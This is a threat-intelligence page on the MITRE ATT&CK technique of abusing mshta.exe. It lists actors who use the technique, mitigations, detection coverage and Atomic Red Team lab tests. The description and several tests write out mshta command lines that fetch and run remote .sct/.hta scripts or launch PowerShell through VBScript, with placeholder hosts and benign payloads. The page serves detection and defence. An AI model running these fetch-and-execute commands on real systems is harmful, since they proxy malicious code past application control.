Home/ATT&CK Technique/Mshta
ATT&CK Technique

Mshta

T1218.005 · stealth

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")")) They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.

Windows

Actors Using This

14
russia_speaking_cybercrimeAkira
russia_speaking_cybercrimeALPHV / BlackCat
latin_america_brazilian_organized_cybercrimeAmavaldo
north_koreaAndariel
chinaAPT17
russiaAPT29
iranAPT33
iranOilRig
iranAPT35
north_koreaAPT37
north_koreaAPT38
iranAPT39
chinaAPT3

Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.
credential-access same

Atomic Tests

10
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
command_promptwindowsMshta executes JavaScript Scheme Fetch Remote Payload With GetObject
Test execution of a remote script using mshta.exe. Upon execution calc.exe will be launched.
mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();
command_promptwindowsMshta executes VBScript to execute malicious command
Run a local VB script to run local user enumeration powershell command. This attempts to emulate what FIN7 does with this technique which is using mshta.exe to execute VBScript to execute malicious code on victim systems. Upon execution, a new PowerShell windows will be opened that displays user information.
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -noexit -file PathToAtomicsFolder\T1218.005\src\powershell.ps1"":close")
powershellwindowsMshta Executes Remote HTML Application (HTA)
Execute an arbitrary remote HTA. Upon execution calc.exe will be launched.
$var =Invoke-WebRequest "#{hta_url}"
$var.content|out-file "#{temp_file}"
mshta "#{temp_file}"
start-sleep -s 15
stop-process -name "calculator" -Force -ErrorAction Ignore
stop-process -name "CalculatorApp" -Force -ErrorAction Ignore
powershellwindowsInvoke HTML Application - Jscript Engine over Local UNC Simulating Lateral Movement
Executes an HTA Application using JScript script engine using local UNC path simulating lateral movement.
Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath #{mshta_file_path}
powershellwindowsInvoke HTML Application - Jscript Engine Simulating Double Click
Executes an HTA Application using JScript script engine simulating double click.
Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick
powershellwindowsInvoke HTML Application - Direct download from URI
Executes an HTA Application by directly downloading from remote URI.
Invoke-ATHHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file_path}
powershellwindowsInvoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler
Executes an HTA Application with JScript Engine, Rundll32 and Inline Protocol Handler.
Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -UseRundll32 -Rundll32FilePath #{rundll32_file_path}
powershellwindowsInvoke HTML Application - JScript Engine with Inline Protocol Handler
Executes an HTA Application with JScript Engine and Inline Protocol Handler.
Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -MSHTAFilePath #{mshta_file_path}
powershellwindowsInvoke HTML Application - Simulate Lateral Movement over UNC Path
Executes an HTA Application with Simulate lateral movement over UNC Path.
Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path}
command_promptwindowsMshta used to Execute PowerShell
Use Mshta to execute arbitrary PowerShell. Example is from the 2021 Threat Detection Report by Red Canary.
mshta.exe "about:<hta:application><script language="VBScript">Close(Execute("CreateObject(""Wscript.Shell"").Run%20""powershell.exe%20-nop%20-Command%20Write-Host%20#{message};Start-Sleep%20-Seconds%20#{seconds_to_sleep}"""))</script>'"

Mitigations

2
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1038Execution Prevention

Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions.

Application Control
  • Use Case: Use tools like AppLocker or Windows Defender Application Control (WDAC) to create whitelists of authorized applications and block unauthorized ones. On Linux, use tools like SELinux or AppArmor to define mandatory access control policies for application execution.
  • Implementation: Allow only digitally signed or pre-approved applications to execute on servers and endpoints. (e.g., `New-AppLockerPolicy -PolicyType Enforced -FilePath "C:\Policies\AppLocker.
xml"`) Script Blocking
  • Use Case: Use script control mechanisms to block unauthorized execution of scripts, such as PowerShell or JavaScript. Web Browsers: Use browser extensions or settings to block JavaScript execution from untrusted sources.
  • Implementation: Configure PowerShell to enforce Constrained Language Mode for non-administrator users. (e.g.
, Set-ExecutionPolicy AllSigned) Executable Blocking
  • Use Case: Prevent execution of binaries from suspicious locations, such as %TEMP% or %APPDATA% directories.
  • Implementation: Block execution of .exe, .bat, or .ps1 files from user-writable directories.
Dynamic Analysis Prevention
  • Use Case: Use behavior-based execution prevention tools to identify and block malicious activity in real time.
  • Implemenation: Employ EDR solutions that analyze runtime behavior and block suspicious code execution.
M1042Disable or Remove Feature or Program

Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled.

Remove Legacy Software
  • Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).
  • Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.
Disable Unused Features
  • Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.
  • Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.
Control Applications Installed by Users
  • Use Case: Prevent users from installing unauthorized software via group policies or other management tools.
  • Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.
Remove Unnecessary Services
  • Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.
  • Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.
Restrict Add-ons and Plugins
  • Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.
  • Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.

Detection Coverage

1/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 7
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none

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